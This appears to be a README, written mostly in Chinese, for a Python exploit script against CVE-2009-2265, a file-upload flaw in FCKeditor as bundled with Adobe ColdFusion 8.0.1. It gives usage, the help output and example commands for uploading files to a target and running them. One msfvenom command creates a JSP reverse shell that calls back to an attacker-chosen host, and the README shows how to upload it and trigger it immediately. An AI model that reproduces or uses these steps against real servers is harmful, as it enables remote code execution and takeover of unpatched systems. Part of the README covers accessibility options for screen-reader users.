一个利用CVE-2009-2265漏洞的python3脚本。
该脚本利用了FCKeditor < 2.6.4.1中的一个漏洞,该漏洞被集成到Adobe ColdFusion 8.0.1中:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2265
该脚本允许用户提交文件,上传到运行ColdFusion 8.0.1的目标计算机并执行它。
pip3 install requests
在识别出运行Adobe ColdFusion 8.0.1的目标后,使用以下命令运行:
chmod +x cf8-upload.py
./cf8-upload.py -h
或
python3 cf8-upload.py -h
-h或--help选项展示了如何运行该脚本并附有示例。 有两个位置参数和几个可选参数。
./cf8-upload.py --help
usage: cf8-upload.py [-h] [-a] [-n] [-r] address path
./cf8-upload.py exploits an LFI vulnerability in
adobe coldfusion 8.0.1
positional arguments:
address ip/hostname, port, sub-directories to the adobe
coldfusion 8.0.1 server
path path to file you wish to upload (eg.
'/path/to/file.txt')
optional arguments:
-h, --help show this help message and exit
-a, --accessible turns off features which may negatively affect
screen readers
-n, --no-colour removes colour output
-r, --request request webpage after successfully uploading
file
examples:
./cf8-upload.py 10.10.10.10 file.txt
./cf8-upload.py 10.10.10.10:8500 /path/to/reverse-shell.jsp -r
./cf8-upload.py hostname:8500/sub-dir /path/to/upload.zip -n
Adobe ColdFusion默认使用8500端口,但在执行脚本时必须指定服务器的完整路径。
默认的ColdFusion安装可能位于端口8500的根目录下,在这种情况下,执行脚本时使用x.x.x.x:8500作为地址参数很可能就足够了。
cf8-upload.py 默认情况下会以彩色并带有一些额外格式的终端输出打印,但这对于使用屏幕阅读器的人并不总是有帮助。使用 --accessible 参数将禁止在终端中打印花哨的格式和颜色。它还会禁用ASCII艺术。
该标志使脚本在文件成功上传后执行一个GET请求。如果用户正在向易受攻击的应用程序上传某种反向shell并希望立即触发它,此选项很有用。GET请求的内容不会打印到终端,仅用于在服务器上触发事件。
Adobe ColdFusion能够读取.jsp文件,因此可以使用msfvenom创建一个简单的反向shell,如下所示:
msfvenom -p java/jsp_shell_reverse_tcp lhost=[my ip] lport=[my listening port] -f raw > rshell.jsp
然后上传:
./cf8-upload.py 10.10.10.10:8500 /path/to/rshell.jsp -r
Adobe ColdFusion 8.0.1应用程序可能无法覆盖通过漏洞利用脚本上传的现有文件。在这种情况下,上传一个与先前上传文件同名的不同文件可能会导致上传过程中超时。
您可能需要将想要上传的文件重命名为其他名称,然后再尝试重新上传。
该脚本主要是为了创建一个简短、全面、自包含的单漏洞利用程序,同时考虑了可读性和可访问性。
https://skerritt.blog/a11y/ - 可访问性实现。